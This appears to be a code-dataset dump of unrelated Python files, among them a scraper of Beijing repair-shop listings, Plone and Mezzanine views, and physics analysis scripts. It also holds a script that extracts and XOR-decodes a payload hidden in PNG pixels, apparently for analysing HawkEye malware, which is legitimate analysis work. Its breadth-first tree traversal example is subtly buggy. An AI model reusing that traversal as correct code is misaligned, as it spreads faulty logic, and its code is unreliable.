'Cookie': 'JSESSIONID=010BF80058C18D15F9C4B03B20406117',\r\n # 'Referer': 'http://xzqh.mca.gov.cn/defaultQuery?shengji=%B1%B1%BE%A9%CA%D0%28%BE%A9%29&diji=%B1%B1%BE%A9%CA%D0&xianji=-1',\r\n # 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\r\n # }\r\n # for key in headers:\r\n # webdriver.DesiredCapabilities.PHANTOMJS['phantomjs.page.customHeaders.{}'.format(key)] = headers[key]\r\n # self.browser = webdriver.PhantomJS(executable_path=\"D:/phantomjs.exe\")\r\n # super(KoubeiSpider, self).__init__()\r\n # dispatcher.connect(self.spider_closed, signals.spider_closed)\r\n #\r\n # def spider_closed(self):\r\n # self.browser.quit()\r\n\r\n def start_requests(self):\r\n urls = []\r\n for i in range(1, 189):\r\n url = \"http://weixiu.bjysgl.cn/bjvmpsf/f/trRptRepairEnterprise/list\"\r\n data = {\r\n \"repairType\":\"汽车维修\",\r\n \"pageNo\": str(i),\r\n \"pageSize\":\"20\"\r\n }\r\n print(data)\r\n urls.append(scrapy.FormRequest(method=\"post\", url=url, formdata=data))\r\n return urls\r\n\r\n def parse(self, response):\r\n changs = response.xpath(\"//*[@id='contentTable']//tr\")\r\n for chang in changs[1:]:\r\n code = chang.xpath(\"td[2]/a/@onclick\").re(\"showDetail\\(\\'(.*?)\\'\\)\")[0]\r\n print(code)\r\n data = {\r\n \"recordId\":code\r\n }\r\n headers = {\r\n \"User-agent\":\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\"\r\n }\r\n url = \"http://weixiu.bjysgl.cn/bjvmpsf/f/trRptRepairEnterprise/detail\"\r\n yield scrapy.FormRequest(method=\"post\", url=url, formdata=data, headers=headers, callback=self.parse_chang)\r\n\r\n\r\n\r\n def parse_chang(self,response):\r\n res = json.loads(response.text)[\"repairEnterprise\"]\r\n item = WeixiuchangBeijingItem()\r\n item['url'] = response.url\r\n item['status'] = res[\"id\"]\r\n item['grabtime'] = time.strftime('%Y-%m-%d %X', time.localtime())\r\n item['enterpriseName'] = res[\"enterpriseName\"] if \"enterpriseName\" in res else \"-\"\r\n item['jyAddress'] = res[\"jyAddress\"] if \"jyAddress\" in res else \"-\"\r\n item['busNames'] = res[\"busNames\"] if \"busNames\" in res else \"-\"\r\n item['busTel'] = res[\"busTel\"] if \"busTel\" in res else \"-\"\r\n item['id'] = res[\"id\"] if \"id\" in res else \"-\"\r\n item['regionLabel'] = res[\"regionLabel\"] if \"regionLabel\" in res else \"-\"\r\n item['qalLevel'] = res[\"qalLevel\"] if \"qalLevel\" in res else \"-\"\r\n item['pstlNum'] = res[\"pstlNum\"] if \"pstlNum\" in res else \"-\"\r\n\r\n # print(item)\r\n yield item\r\n\r\n\r\n\r\n\r\n","sub_path":"cagey/koubei_project/koubei/spiders/weixiuchang_beijing.py","file_name":"weixiuchang_beijing.py","file_ext":"py","file_size_in_byte":4216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"113599825","text":"from ftw.table.helper import path_checkbox\nfrom opengever.dossier import _\nfrom opengever.dossier.dossiertemplate.behaviors import IDossierTemplateSchema\nfrom opengever.tabbedview import BaseCatalogListingTab\nfrom opengever.tabbedview.browser.bumblebee_gallery import BumblebeeGalleryMixin\nfrom opengever.tabbedview.browser.tabs import BaseTabProxy\nfrom opengever.tabbedview.browser.tabs import Documents\nfrom opengever.tabbedview.helper import linked\n\n\nREMOVED_COLUMNS = ['receipt_date', 'delivery_date', 'containing_subdossier']\n\n\ndef drop_columns(columns):\n\n cleaned_columns = []\n\n for col in columns:\n if isinstance(col, dict):\n if col.get('column') in REMOVED_COLUMNS:\n continue\n cleaned_columns.append(col)\n return cleaned_columns\n\n\nclass TemplateFolderDocuments(Documents):\n depth = 1\n\n @property\n def columns(self):\n return drop_columns(\n super(TemplateFolderDocuments, self).columns)\n\n @property\n def enabled_actions(self):\n actions = filter(\n lambda x: x not in self.disabled_actions,\n super(TemplateFolderDocuments, self).enabled_actions)\n\n return actions + ['folder_delete_confirmation']\n\n disabled_actions = [\n 'cancel',\n 'checkin',\n 'checkout',\n 'trashed',\n 'create_task',\n 'send_as_email',\n 'submit_additional_documents',\n ]\n\n\nclass TemplateFolderDocumentsGallery(BumblebeeGalleryMixin, TemplateFolderDocuments):\n \"\"\"Bumblebee gallery for templates (documents inside templatefolder).\n\n Shows only documens directly inside the templatefolder not recursive.\n \"\"\"\n\n depth = 1\n\n\nclass TemplateFolderSablonTemplatesProxy(BaseTabProxy):\n \"\"\"This proxyview is looking for the last used documents\n view (list or gallery) and reopens this view.\n \"\"\"\n\n\nclass TemplateFolderSablonTemplates(Documents):\n\n types = ['opengever.meeting.sablontemplate']\n\n depth = 1\n\n @property\n def columns(self):\n return drop_columns(\n super(TemplateFolderSablonTemplates, self).columns)\n\n @property\n def enabled_actions(self):\n actions = filter(\n lambda x: x not in self.disabled_actions,\n super(TemplateFolderSablonTemplates, self).enabled_actions)\n\n return actions + ['folder_delete_confirmation']\n\n disabled_actions = [\n 'cancel',\n 'checkin',\n 'checkout',\n 'create_task',\n 'trashed',\n 'move_items',\n 'send_as_email',\n 'submit_additional_documents',\n ]\n\n\nclass TemplateFolderSablonTemplatesGallery(BumblebeeGalleryMixin, TemplateFolderSablonTemplates):\n\n sort_on = 'sortable_title'\n\n\nclass TemplateFolderProposalTemplatesProxy(BaseTabProxy):\n \"\"\"This proxyview is looking for the last used documents\n view (list or gallery) and reopens this view.\n \"\"\"\n\n\nclass TemplateFolderProposalTemplates(Documents):\n\n types = ['opengever.meeting.proposaltemplate']\n\n depth = 1\n\n @property\n def columns(self):\n return drop_columns(\n super(TemplateFolderProposalTemplates, self).columns)\n\n @property\n def enabled_actions(self):\n actions = filter(\n lambda x: x not in self.disabled_actions,\n super(TemplateFolderProposalTemplates, self).enabled_actions)\n\n return actions + ['folder_delete_confirmation']\n\n disabled_actions = [\n 'cancel',\n 'checkin',\n 'checkout',\n 'create_task',\n 'trashed',\n 'move_items',\n 'send_as_email',\n 'submit_additional_documents',\n ]\n\n\nclass TemplateFolderProposalTemplatesGallery(BumblebeeGalleryMixin, TemplateFolderProposalTemplates):\n\n sort_on = 'sortable_title'\n\n\nclass TemplateFolderDossierTemplates(BaseCatalogListingTab):\n\n filterlist_available = False\n sort_on = 'sortable_title'\n show_selects = False\n\n object_provides = IDossierTemplateSchema.__identifier__\n\n search_options = {'is_subdossier': False}\n\n columns = (\n {'column': '',\n 'column_title': '',\n 'transform': path_checkbox,\n 'sortable': False,\n 'groupable': False,\n 'width': 30},\n {'column': 'Title',\n 'column_title': _(u'label_title', default=u'Title'),\n 'sort_index': 'sortable_title',\n 'transform': linked},\n {'column': 'Description',\n 'column_title': _(u'label_description', default=u'Description')},\n\n\n )\n\n enabled_actions = ['folder_delete_confirmation']\n major_actions = []\n","sub_path":"opengever/dossier/templatefolder/tabs.py","file_name":"tabs.py","file_ext":"py","file_size_in_byte":4548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"111667857","text":"# -*- coding: utf-8 -*-\nfrom django.conf import settings\n\n__author__ = 'mateusz'\n__date__ = '14.12.14 / 17:01'\n__git__ = 'https://github.com/mateuszdargacz'\n\nfrom mezzanine import template\nfrom mezzanine.blog.models import BlogPost, BlogCategory\n\nfrom django.db.models import Count\n\n\nregister = template.Library()\n\n\n@register.as_tag\ndef nested_blog_categories(*args):\n \"\"\"\n Put a list of nested categories for blog posts into the template context.\n \"\"\"\n categories = []\n main_categories = BlogCategory.objects.filter(is_children__isnull=True).distinct().annotate(\n post_count=Count(\"blogposts\")).prefetch_related('parent')\n\n for main_category in main_categories:\n data = {\n 'category': main_category,\n 'children': main_category.parent.first().children.all() if main_category.parent.first() else []\n }\n categories.append(data)\n return categories\n\n\n@register.assignment_tag\ndef most_popular(amount=0):\n return BlogPost.trends.last_days(0, amount)\n\n@register.assignment_tag\ndef popular_this_week():\n return BlogPost.trends.last_days(settings.TOP_POST_DAYS)\n\n","sub_path":"vishalUtech/blog/templatetags/custom_blog_tags.py","file_name":"custom_blog_tags.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"424580438","text":"#!/usr/bin/python3\r\nfrom PIL import Image\r\nimport argparse\r\n\r\nKEY_LENGTH = 16\r\n\r\ndef process(input_file, output_file):\r\n arr = get_color_values(input_file)\r\n key = arr[:KEY_LENGTH]\r\n data = arr[KEY_LENGTH:]\r\n\r\n for i in range(len(data)):\r\n data[i] ^= key[i % KEY_LENGTH]\r\n\r\n with open(output_file, \"wb\") as o:\r\n o.write(data)\r\n\r\ndef get_color_values(file_name):\r\n arr = bytearray()\r\n im = Image.open(file_name)\r\n w, h = im.size\r\n for i in range(w):\r\n for j in range(h):\r\n r, g, b, t = im.getpixel((i, j))\r\n if (r, g, b, t) != (0, 0, 0, 0):\r\n arr.extend([r, g, b])\r\n return arr\r\n\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"input_file\")\r\n parser.add_argument(\"output_file\")\r\n args = parser.parse_args()\r\n process(args.input_file, args.output_file)\r\n","sub_path":"Hawkeye_PNG_decode.py","file_name":"Hawkeye_PNG_decode.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"54671053","text":"import pandas as pd\nimport numpy as np\n'''pr_data=pd.read_csv('mapreduce法最后PR值.csv',encoding='utf-8')#没有去除重复的记录\npr_func={}\nfor i in zip(pr_data['id'],pr_data['PR']):\n pr_func[i[0]]=i[1]\n# pr_col=pr_data['PR']\n# print(pr_col)\ninfluence_data=pd.read_csv('influence_data.csv',encoding='utf-8')\ncount=0\ntotal_num=set()\n# unique_artist=set()\ngenre_dict= {}\nyear_dict= {}\nbool_dict= {}\ninfluence_people_number={}\ninfluencer_dict={}\nunique_num=set()\nst_min=10000\nst_max=1000\nst_set=set()\ninfluence_dict={}\n# max_val=5603#42770条数据\n# mat=[[0] * max_val for i in range(max_val)]#有可能艺术家会出现多次,所以要去重,甚至会出现同一个艺术家却不同流派,以防万一以下\nfor influencer in zip(influence_data['influencer_id'],influence_data['influencer_main_genre'],influence_data['influencer_active_start'],influence_data['follower_id'],influence_data['follower_main_genre'],influence_data['follower_active_start']):\n # unique_artist.add((influencer[0],influencer[1],influencer[2]))\n # unique_artist.add((influencer[3], influencer[4], influencer[5]))\n total_num.add(influencer[0])\n total_num.add(influencer[3])\n # st_min=min(st_min,influencer[2])\n # st_min = min(st_min, influencer[5])\n # st_max = max(st_max, influencer[2])\n # st_max = max(st_max, influencer[5])\n st_set.add(influencer[2])\n if influencer[2] not in influence_dict.keys():\n influence_dict[influencer[2]]=[]\n influence_dict[influencer[2]].append(influencer[0])\n # print(influence_dict[influencer[2]])\n else :\n influence_dict[influencer[2]].append(influencer[0])\n # print(influence_dict[influencer[2]])\n# print(influence_dict)\n # st_set.add(influencer[5])\n # print(influencer[0],influencer[3])\n#for influencer in zip(influence_data['influencer_name'],influence_data['influencer_main_genre'],influence_data['follower_name'],influence_data['follower_main_genre']):\n # count=count+1\n # if count==1:\n # continue\n # print(influencer)\n# for influence in total_num:\n# bool_dict[influence]=0\n# rk={}\n# for time in st_set:\n# for tmp in influence_dict[time]:\n# for tmp1 in tmp:\n# rk[tmp1]=tmp.count(tmp1)\n# sort(rk,key=rk.values(),ascending=True)\n#\nfor influencer in zip(influence_data['influencer_id'],influence_data['influencer_main_genre'],influence_data['influencer_active_start'],influence_data['follower_id'],influence_data['follower_main_genre'],influence_data['follower_active_start']):\n # print(influencer[0])\n # print(influencer[3])\n # if bool_dict[influencer[0]]:\n # continue\n genre_dict[influencer[0]]=influencer[1]\n influencer_dict[influencer[0]]=influencer[2]\n year_dict[influencer[0]]=influencer[2]\n # bool_dict[influencer[0]]=1\n # if bool_dict[influencer[3]]:\n # continue\n genre_dict[influencer[3]] = influencer[4]\n year_dict[influencer[3]] = influencer[5]\n # bool_dict[influencer[3]] = 1\n# print(total_num)\n# print(genre_dict[3637248])\nx2=[]\nx1=[]\nx3=[]\nx4=[]\nx5=[]\nprint('-------------------------------------------------------------')\nfor tmp in total_num:\n # print(tmp)\n influencer_genre=genre_dict[tmp]#'influencer_main_genre'\n # print(influencer_genre)\n influencer_year=year_dict[tmp]\n influence_genre_count=list(genre_dict.values()).count(influencer_genre)#len(influence_data[influence_data['influencer_main_genre']==influencer_genre])\n # print(influence_genre_count)\n x3_tmp= {}\n for i in influencer_dict.keys():\n if genre_dict[i]==influencer_genre:\n x3_tmp[i]=year_dict[i]\n # year_genre_dict=year_dict[genre_dict[tmp]==influencer_genre]\n influence_year_genre_count=list(x3_tmp.values()).count(influencer_year)#len(influence_data[influence_data['influencer_main_genre']==influencer_genre])\n influence_year_count=list(year_dict.values()).count(influencer_year)\n x2.append(influence_genre_count)\n x1.append(pr_func[tmp])\n x3.append(influence_year_genre_count)\n x5.append(influence_year_count)\n rk={}\n for tmp1 in influence_dict[influencer_year]:\n # print(tmp1)\n rk[tmp1]=influence_dict[influencer_year].count(tmp1)\n # for tmp2 in tmp1:\n # rk[tmp2] = tmp1.count(tmp2)\n # rk=sorted(rk.items(),key=lambda x:x[1], reverse=True)\n print(rk)\n if tmp not in rk.keys():\n x4.append(0)\n else :\n x4.append(rk[tmp])\n # influence_people_number[tmp]=influence_data['influencer_id'].count(tmp)\n# for tmp in st_set:\n# # print(tmp)\n# influencer_genre=genre_dict[tmp]#'influencer_main_genre'\n# # print(influencer_genre)\n# influencer_year=year_dict[tmp]\n# rk={}\n# for tmp1 in influence_dict[influencer_year]:\n# # print(tmp1)\n# rk[tmp1]=influence_dict[influencer_year].count(tmp1)\n# # for tmp2 in tmp1:\n# # rk[tmp2] = tmp1.count(tmp2)\n# rk=sorted(rk.items(),key=lambda x:x[1], reverse=True)\n# x4.append(rk[tmp])\n# # influence_people_number[tmp]=influence_data['influencer_id'].count(tmp)\nres={'x1':x1,'x2':x2,'x3':x3,'x4':x4,'x5':x5}\nres=pd.DataFrame(res,index=total_num)\nres.to_csv('灰色综合评价法的五个指标.csv',encoding='utf-8')'''\n# print(x1,x2)\nimport pandas as pd\nx=pd.read_csv('灰色综合评价法的五个指标.csv',encoding='utf-8')\nck=[x['x1'].max(),x['x2'].max(),x['x3'].max(),x['x4'].max(),x['x5'].max()]\n# lis=x['x1']\nx=x.iloc[:,1:].T\n\n# 1、数据均值化处理\nx_mean=x.mean(axis=1)\nfor i in range(x.index.size):\n x.iloc[i,:] = x.iloc[i,:]/x_mean[i]\n\n# 2、提取参考队列和比较队列\n\ncp=x.iloc[:,:]\nprint(cp)\n# 比较队列与参考队列相减\nt=pd.DataFrame()\nfor j in range(cp.index.size):\n temp=pd.Series(cp.iloc[j,:]-ck)\n t=t.append(temp,ignore_index=True)\n\n#求最大差和最小差\nmmax=t.abs().max().max()\nmmin=t.abs().min().min()\nrho=0.5\n#3、求关联系数\nksi=((mmin+rho*mmax)/(abs(t)+rho*mmax))\n\n\n#4、求关联度\nr=ksi.sum(axis=1)/ksi.columns.size\n\n#5、关联度排序,得到结果r3>r2>r1\nresult=r.sort_values(ascending=False)\nprint(result)\n","sub_path":"比赛/美赛/美赛正式/D题/灰色关联分析.py","file_name":"灰色关联分析.py","file_ext":"py","file_size_in_byte":6090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"280232047","text":"'''\nWrite text using user provided values\n'''\n#pylint: disable-msg=import-error\nimport uos\nfrom turtleplotbot import TurtlePlotBot\nimport oledui\n\ndef main():\n \"\"\"\n Write text using user provided values\n \"\"\"\n uio = oledui.UI() # pylint: disable-msg=invalid-name\n fonts = uos.listdir(\"/fonts\")\n message = \"Hello!\"\n scale = 1\n\n form = [\n [uio.HEAD, 0, \"Write A Message\"],\n [uio.TEXT, 2, 0, \"Message:\"],\n [uio.STR, 3, 0, 16, message],\n [uio.TEXT, 5, 0, \"Scale:\"],\n [uio.INT, 5, 8, 2, scale],\n ]\n\n again = True\n while again:\n result = uio.form(form)\n if result:\n message = form[2][uio.VAL]\n scale = form[4][uio.VAL]\n font = 0\n response = 0\n font = uio.menu(\"Choose A Font\", fonts, font)\n if font is not None:\n uio.cls(fonts[font], 0)\n uio.draw(message, 0, 32, \"/fonts/\" + fonts[font])\n response = uio.select(7, 0, (\"Draw\", \"Back\", \"Cancel\"), 0)\n if response[1] == 0:\n uio.cls(0)\n bot = TurtlePlotBot()\n bot.setscale(scale)\n bot.write(message, \"/fonts/\" + fonts[font])\n bot.done()\n\n again = response[1] == 1\n else:\n again = False\n else:\n again = False\n\nmain()\n\n__import__(\"menu\") # return to turtleplotbot menu\n","sub_path":"micropython/vfat/programs/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"335473049","text":"'''\n按层打印一棵树\n\n理解好队列,可以很容易的解决树的层此遍历,步骤如下:\n\n 1.首先将根节点放入队列中。\n 2.当队列为非空时,循环执行步骤3到步骤5,否则执行6;\n 3.出队列取得一个结点,访问该结点;\n 4.若该结点的左子树为非空,则将该结点的左子树入队列;\n 5.若该结点的右子树为非空,则将该结点的右子树入队列;\n 6.结束。\n'''\n\nimport queue\nimport random\n\n#定义树的节点\nclass TreeNode:\n def __init__(self, val,left=None,right=None):#写成这样方便创建二叉树\n self.val = val\n self.left= left\n self.right=right\n\n # 这一步是在每次调用某个结点时,自动调用.data的方法\n def __str__(self):\n return str(self.val)\n\n\n#创建一个满二叉树:\ndef createTree():#包含n个节点\n\n A = TreeNode('A', 'B', 'C')\n B = TreeNode('B', None, 'D')\n C = TreeNode('C', 'E', 'F')\n E = TreeNode('E', 'G', None)\n F = TreeNode('F', 'H', 'I')\n return A\n'''\nA=createTree()\nprint(A.val,A.left)\nq=queue.Queue(maxsize=0)\nq.put(A)\ncur=q.get()\nprint(cur.val)\n'''\ndef printTree(root):\n if not root:\n return None\n res=[]\n q=queue.Queue(maxsize=0)\n q.put(root)\n while not q.empty():\n cur=q.get()\n print(cur.val)\n if cur.left!=None:\n q.put(root.left)\n if cur.right!=None:\n q.put(root.right)\n res.append(cur.val)\n print(res)\n return res\n\nA=createTree()\nprintTree(A)","sub_path":"learn_notes/leetcode/Breadth-First-Search.py","file_name":"Breadth-First-Search.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"557427428","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Oct 13 16:54:47 2021\r\n\r\n@author: Paul Herrmann\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport scipy as sp\r\nimport matplotlib.pyplot as plt\r\nimport os\r\nimport pandas as pd\r\nimport scipy.interpolate as itp\r\nfrom numpy import fft\r\n\r\n#first step: preprocessing: process data from camera, either roied or not\r\n\r\ndef get_file_names(input_path):\r\n #get list of all files in input folder\r\n files = os.listdir(input_path)\r\n spectra_files = []\r\n image_files = []\r\n wavelengths = []\r\n pattern_files = []\r\n for i in range(len(files)):\r\n #append all image files to image files list\r\n \r\n #this means that it is an image file from the camera\r\n if files[i].endswith(\"a\") == True:\r\n image_files.append(input_path + \"/\" +files[i])\r\n #cosine input pattern\r\n if files[i].startswith(\"c\") == True:\r\n wavelengths.append(float(files[i][7]))\r\n #sine input pattern\r\n if files[i].startswith(\"s\") == True:\r\n wavelengths.append(float(files[i][5]))\r\n #this is a csv file containing the input pattern\r\n if files[i].startswith(\"pattern\") == True: \r\n pattern_files.append(input_path + \"/\" + files[i]) \r\n #append all spectrum files to spectrum files list\r\n if files[i].endswith(\"c\") == True:\r\n spectra_files.append(input_path + \"/\" + files[i])\r\n else:\r\n continue\r\n return spectra_files, image_files,pattern_files, wavelengths\r\n\r\ndef preprocess_images(spectra_files,image_files,output_path,wavelengths,roied=False,plotting=False):\r\n print(\"Step 1:Preprocessing\")\r\n bucket = np.zeros(len(spectra_files))\r\n #get the wavelengths as a list of floats\r\n for i in range(len(spectra_files)):\r\n dataImg = pd.read_csv(image_files[i], sep=',')\r\n dataImg.drop(dataImg.columns[0], axis=1, inplace=True)\r\n D = dataImg.to_numpy()\r\n D = np.transpose(D)\r\n if roied == True:\r\n bucket[i] = np.sum(D[300:600,300:700])\r\n else :\r\n bucket[i] = np.sum(D)\r\n #save bucket intensity to file output_path\r\n np.savetxt(output_path,(np.array(wavelengths),bucket),delimiter=\",\",header=\"wavelength [nm], bucket intensity\")\r\n if plotting == True:\r\n plt.plot(wavelengths, bucket)\r\n plt.show()\r\n print(\"Preprocessing finished\\n\")\r\n\r\ndef ghost_imaging(spectra_files, bucket_file,pattern_files,save_path,method=\"TGI\",plotting=False,pattern=False):\r\n print(\"\\t Starting ghost spectrum recovery with \" + method + \" method\")\r\n methods = [\"TGI\", \"DGI\",\"NGI\",\"PIGI\"]\r\n if method not in methods:\r\n print(\"error, please select a correct ghost imaging method!\")\r\n #load bucket\r\n wavelengths, bucket = np.loadtxt(bucket_file,delimiter=\",\")\r\n #get wavelengths for spectra\r\n if pattern == False:\r\n data = pd.read_csv(spectra_files[0], sep=',')\r\n data.drop(data.columns[0], axis=1, inplace=True)\r\n spectra_wavelengths = data.to_numpy()[308:708,1]\r\n else:\r\n spectra_wavelengths, spectrum = np.loadtxt(pattern_files[0],delimiter=\",\")\r\n #initialize arrays for avg input and reference spectra\r\n avg_input_spectrum = np.zeros(len(spectra_wavelengths))\r\n avg_reference = 0\r\n recovered_spectrum = np.zeros(len(spectra_wavelengths))\r\n integrated_spectrum = np.zeros(len(bucket))\r\n avg_bucket = 0\r\n \r\n #get the avg values\r\n for i in range(len(bucket)):\r\n if pattern == False:\r\n data = pd.read_csv(spectra_files[i], sep=',')\r\n data.drop(data.columns[0], axis=1, inplace=True)\r\n spectrum = data.to_numpy()[308:708,0]\r\n else:\r\n ws,spectrum = np.loadtxt(pattern_files[i],delimiter=\",\")\r\n spectrum /= 1000\r\n if i == 0:\r\n plt.plot(ws,spectrum)\r\n plt.show()\r\n avg_input_spectrum += spectrum \r\n avg_bucket += bucket[i]\r\n avg_reference += np.trapz(spectrum)\r\n integrated_spectrum[i] = np.trapz(spectrum)\r\n avg_input_spectrum /= len(bucket)\r\n avg_bucket /= len(bucket)\r\n avg_reference /= len(bucket)\r\n \r\n #ghost imaging algorithm\r\n if method == \"PIGI\":\r\n A = np.zeros((len(bucket),len(spectra_wavelengths)))\r\n for i in range(len(bucket)):\r\n #load spectrum\r\n if pattern == False:\r\n data = pd.read_csv(spectra_files[i], sep=',')\r\n data.drop(data.columns[0], axis=1, inplace=True)\r\n spectrum = data.to_numpy()[308:708,0]\r\n else:\r\n ws,spectrum = np.loadtxt(pattern_files[i],delimiter=\",\")\r\n \r\n if method == \"PIGI\":\r\n A[i] = spectrum - avg_input_spectrum\r\n \r\n if method == \"TGI\":\r\n recovered_spectrum += (spectrum - avg_input_spectrum)*(bucket[i]-avg_bucket)\r\n if method == \"DGI\":\r\n recovered_spectrum += (spectrum - avg_input_spectrum)*(bucket[i]-avg_bucket/avg_reference*np.trapz(spectrum))\r\n if method == \"NGI\":\r\n recovered_spectrum += (spectrum - avg_input_spectrum)*(bucket[i]/np.trapz(spectrum)-avg_bucket/avg_reference)\r\n recovered_spectrum /= len(bucket)\r\n if method == \"PIGI\":\r\n \r\n recovered_spectrum = np.matmul(np.linalg.pinv(A),bucket-avg_bucket/avg_reference*integrated_spectrum)\r\n \r\n \r\n \r\n if plotting == True:\r\n plt.plot(spectra_wavelengths,recovered_spectrum)\r\n plt.xlabel(\"wavelength [nm]\")\r\n plt.ylabel(\"intensity [a.u.]\")\r\n plt.title(method)\r\n plt.show()\r\n \r\n save_file = save_path + \"/\" + method + \".gspec\"\r\n np.savetxt(save_file,(spectra_wavelengths,recovered_spectrum),delimiter=\",\",header=\"wavelengths [nm], intensity\")\r\n print(\"\\t Ghost spectrum recovery finished\")\r\n return save_file\r\n\r\n\r\ndef OCT(spectrum_file,method,zero_padding=False,plotting=False):\r\n print(\"\\t Starting OCT of \" + method +\" method\\n\")\r\n #load data\r\n wavelengths, spectrum = np.loadtxt(spectrum_file,delimiter=\",\")\r\n spectrum *= np.hamming(len(spectrum))\r\n #define k\r\n k = np.pi/wavelengths\r\n #interpolate\r\n fct = itp.interp1d(k,spectrum)\r\n #define equidistant k \r\n k_eq = np.linspace(k[-1],k[0],len(k))\r\n #interpolate on equidistant grid\r\n spectrum_inter = fct(k_eq)\r\n if zero_padding == True:\r\n spectrum_inter = np.zeros(3*len(k_eq))\r\n spectrum_inter[:len(k_eq)] = fct(k_eq)\r\n k_eq = np.linspace(k[-1],k[0]+2*(k[0]-k[-1]),3*len(k))\r\n \r\n x = np.fft.fftfreq(len(k_eq),k_eq[1]-k_eq[0])*1e-9\r\n trans = np.abs(np.fft.fft(spectrum_inter-np.mean(spectrum_inter)))\r\n \r\n \r\n np.savetxt(spectrum_file + \"x\", (x,trans),delimiter=\",\",header=\"x [m], intensity\")\r\n if plotting == True:\r\n plt.title(method)\r\n plt.plot(x,trans)\r\n plt.xlabel(\"x [m]\")\r\n plt.ylabel(\"OCT signal [a.u.]\")\r\n #plt.xlim((0,25e-6))\r\n plt.show()\r\n \r\ndef direct_pattern(spectra_files, bucket_file, output_folder):\r\n wavelengths, bucket = np.loadtxt(bucket_file,delimiter=\",\")\r\n l = len(bucket)/4\r\n x = np.linspace(0,l-1,l)\r\n #get the cosine coefficients\r\n a = bucket[0:l] - bucket[l:2*l]\r\n #get the sine coefficients\r\n b = bucket[2*l:3*l] - bucket[3*l:4*l]\r\n #absolute value\r\n transformed = np.sqrt(a**2+b**2)\r\n #plot the result\r\n plt.plot(x,transformed)\r\n plt.show()\r\n #save the result\r\n np.savetxt(output_folder + \"/direct.csv\",(x,transformed),delimiter=\",\")\r\n \r\n \r\ndef ghost_complete(input_folder,output_folder,preprocessing=False,pattern=False,direct=False):\r\n #input_folder, string, is the path of the data that has to be processed\r\n #output_folder, string, is the path where the results should be saved\r\n #preprocessing, boolean, defines if the camera pics have to be integrated to get the bucket intensity, can be waived if bucket file exists\r\n #pattern, boolean, if True the pattern from the pattern file instead of the measured input spectrum is taken for ghost spectrum recovery, i.e. quasi-computational --> computational\r\n \r\n #available methods for ghost spectrum recovery\r\n methods = [\"TGI\",\"DGI\",\"NGI\",\"PIGI\"]\r\n #define a file for the bucket intensity\r\n bucket_file = input_folder + \"/bucket.csv\"\r\n #get all necessary file lists\r\n spectra_files, image_files,pattern_files,wavelengths = get_file_names(input_folder)\r\n #preprocess the data\r\n if preprocessing == True:\r\n preprocess_images(spectra_files,image_files,bucket_file,wavelengths)\r\n #ghost imaging\r\n print(\"Ghost OCT\")\r\n #loop over all possible methods\r\n for i in range(len(methods)):\r\n #perform ghost spectrum recovery\r\n save_file = ghost_imaging(spectra_files,bucket_file,pattern_files,output_folder,method=methods[i],plotting=True,pattern=pattern)\r\n #perform FFT to get OCT result\r\n OCT(save_file,methods[i],zero_padding=True,plotting=True)\r\n if direct == True:\r\n direct_pattern(spectra_files, bucket_file,output_folder)\r\n print(\"Finished data evaluation\")\r\n \r\n#ghost_complete(r\"C:\\Users\\Paul\\Desktop\\third_image\",r\"C:\\Users\\Paul\\Desktop\\third_result\",preprocessing=False,pattern=False,direct=False)\r\n\r\ninde, intensity,wavelengths, = np.loadtxt(r\"C:\\Users\\Paul\\Desktop\\third_image\\cosini_1.18877001551221e-14nm_STS.spec\",skiprows=1,delimiter=\",\",unpack=True)\r\nplt.plot(wavelengths,intensity)\r\nplt.show()","sub_path":"ghost_evaluation.py","file_name":"ghost_evaluation.py","file_ext":"py","file_size_in_byte":9445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"194948777","text":"\"\"\"\n\"\"\"\n\nimport os\nimport json\nimport argparse\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom heatmap import heatmap\nimport pandas as pd\n\n\ndef plot_figure5(args):\n \n PATH_TABLE = '../results/DRIAMS_summary'\n\n LIST_SPECIES = ['Escherichia coli',\n 'Staphylococcus epidermidis',\n 'Staphylococcus aureus',\n 'Pseudomonas aeruginosa',\n 'Klebsiella pneumoniae']\n \n # get list of all .json files in directory\n file_list = []\n for (_, _, filenames) in os.walk(PATH_TABLE):\n [file_list.append(f) for f in filenames if '.json' in f]\n break\n\n table = pd.DataFrame(columns=['antibiotic',\n 'site',\n 'number of samples',\n 'percentage positive',\n ]) \n\n # read data and append to dataframe\n for filename in file_list:\n with open(os.path.join(PATH_TABLE, filename)) as f:\n data = json.load(f)\n if data['number spectra with AMR profile'] == 0:\n continue\n\n # construct string of common species\n species = data['species']\n y = data['label']\n\n for s in LIST_SPECIES:\n index = [1 if sp==s else 0 for sp in species]\n assert len(index) == len(species)\n species_s = [species[i] for i, idx in enumerate(index) if idx==1]\n y_s = [y[i] for i, idx in enumerate(index) if idx==1]\n\n if len(y_s) != 0:\n pos_class_ratio = float(sum(y_s)/len(y_s))\n num_samples = len(y_s)\n else:\n pos_class_ratio = 0\n num_samples = 0\n\n d = {'antibiotic' : [data['antibiotic']],\n 'site': [data['site']],\n 'species': [s],\n 'number of samples': [num_samples],\n 'percentage positive': [round(pos_class_ratio, 3)],\n }\n table = table.append(pd.DataFrame(d), ignore_index=True) \n\n table = table.sort_values(by=['number of samples'], ascending=False)\n\n # subset by 